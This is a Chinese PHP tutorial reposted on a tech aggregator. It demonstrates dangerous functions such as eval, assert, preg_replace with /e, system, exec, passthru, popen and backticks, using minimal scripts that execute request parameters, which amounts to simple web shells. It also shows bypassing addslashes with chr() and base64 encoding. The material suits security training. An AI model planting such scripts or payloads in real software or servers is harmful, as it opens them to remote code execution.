IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 常见PHP危险函数验证 -> 正文阅读

[PHP知识库]常见PHP危险函数验证

1?eval 语句

????????eval()会将符合PHP 语法规范字符串当作php 代码执行。

1.1 示例:

????????首先在服务器端创建PHP脚本文件,构建危险语句,脚本代码如下:

<?php
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];

eval($code);

//	phpStudy-2016 后门的原理
?>

? ? ? ? 首先定义一个变量“$code”,并进行判断是否为空,如果为空,执行“phpinfo();”代码,否则获取参数的值。

? ? ? ? 访问该php文件,页面如下:

? ? ? ? 给"$code"传送参数,传参方法可以查看之前的文章,

?code=system('ipconfig');

????????该参数为PHP命令,面显示为:

????????优化界面,将输出格式化,参数改为:? ?

?code=echo "<pre>";
system ('ipconfig');

?

1.2?绕过限制执行PHP 代码

????????如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,进行上述传参会报错

<?php
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];

$code = addslashes($code);

eval($code);
?>

? ? ? ? ?针对这种情况,可以采用如下方法进行绕过:

1.2.1?将参数进行ASCII 编码

echo "<pre>";
system ('ipconfig');

进行ASCII编码为:

chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(112).chr(114).chr(101).chr(62).chr(34).chr(59)

chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(32).chr(40).chr(39).chr(105).chr(112).chr(99).chr(111).chr(110).chr(102).chr(105).chr(103).chr(39).chr(41).chr(59)

传参后页面显示:

?

1.2.2?将参数进行BASE64 编码

echo "<pre>";
system ('ipconfig');

进行BASE64编码为:

ZWNobyAiPHByZT4iOwpzeXN0ZW0gKCdpcGNvbmZpZycpOw==

?????????传参时经过BASE64的编码需要将“=”去掉,而且需要在服务器上对参数进行BASE64解码,传参结果为:

2?assert()

????????assert()同样会将字符串当做PHP 代码来执行。

示例:

????????PHP脚本文件内代码为:

<?php

$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];

assert($code);
?>

????????进行传参访问页面:

3??preg_replace()

????????preg_replace()函数的作用是对字符串进行正则匹配后替换。

示例:

????????搜索$subject 中匹配$pattern 的部分,以$replacement 进行替换。

$str = preg_replace('=a=','A','abacadae');							//	AbAcAdAe
$str = preg_replace('=\[(.*)\]=','A','[phpinfo()]');		//A
$str = preg_replace('=\[(.*)\]=','$1','[phpinfo()]');

echo $str;

????????当$pattern 处存在e 修饰符时,$replacement 的值会被当成PHP 代码来执行。

?PHP脚本文件内代码为:

$code = empty($_REQUEST['code'])?'[phpinfo()]':$_REQUEST['code'];
preg_replace('=\[(.*)\]=e','$1',$code);

?传参并访问页面:

?

4?回调函数

????????一个函数调用另外一个函数。PHP 语言中回调函数有很多。下面主要介绍2种

4.1call_user_func()

函数用法

call_user_func('system','ipconfig');

//	第一个参数,被调用函数的函数名
//	第二个参数,被调用函数的参数

//	system('ipconfig');

示例:

????????PHP脚本文件内代码为:

<?php
$code = empty($_REQUEST['code'])?'assert':$_REQUEST['code'];
$para = empty($_REQUEST['para'])?'phpinfo()':$_REQUEST['para'];

call_user_func($code,$para);
?>

????????传参后显示页面:

?

4.2 array_map()

示例:

????????PHP脚本文件内代码为:

<?php
$code = empty($_REQUEST['code'])?'assert':$_REQUEST['code'];
$para[] = empty($_REQUEST['para'])?'phpinfo()':$_REQUEST['para'];

array_map($code,$para);
?>

传参后页面为:

5?system()

????????system()能够将字符串作为OS 命令执行。?

函数特点:

system()自带输出功能。

传参,支持命令中有空格。

示例:

????????PHP脚本文件内代码为:

<?php
$cmd = empty($_REQUEST['cmd'])?'$cmd':$_REQUEST['cmd'];

system($cmd);
?>

传参后页面为:

?

6?exec()

????????exec()函数能将字符串作为OS 命令执行。

函数特点:

需要输出命令执行结果。

只输出命令执行结果的最后一行,约等于没有回显。

示例:

????????PHP脚本文件内代码为:

<?php
$cmd = empty($_REQUEST['cmd'])?'$cmd':$_REQUEST['cmd'];

echo exec($cmd);
?>

传参后页面为:

7?shell_exec()

?????????shell_exec()将参数当做OS 命令执行。

函数特点:

需要输出命令执行结果。

支持命令中有空格。

示例:

????????PHP脚本文件内代码为:

<?php
$cmd = empty($_REQUEST['cmd'])?'whoami':$_REQUEST['cmd'];

echo shell_exec($cmd);
?>

传参后页面为:

8?passthru()

????????passthru()将字符串当做系统命令执行。

函数特点:

自带输出功能

支持命令中有空格

示例:

????????PHP脚本文件内代码为:

<?php
$cmd = isset($_REQUEST['cmd'])?$_REQUEST['cmd']:'whoami';
passthru($cmd);
?>

传参后页面为:

?

9?popen()

????????popen()能够执行OS 命令。

函数特点:

函数返回值为文件指针

示例:

????????PHP脚本文件内代码为:

<?php
$cmd = empty($_REQUEST['cmd'])?'whoami':$_REQUEST['cmd'];

$f = popen($cmd, 'r');

echo fread($f, 1024);
?>

传参后页面为:

?10?反引号

????????反引号` 内的字符串,也会被解析成OS 命令。

示例:

????????PHP脚本文件内代码为:

<?php
$cmd = isset($_REQUEST['cmd'])?$_REQUEST['cmd']:'whoami';

print(`$cmd`);
?>

传参后页面为:

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-01 16:36:51  更:2021-10-01 16:37:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年2日历 -2025/2/27 14:04:00-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码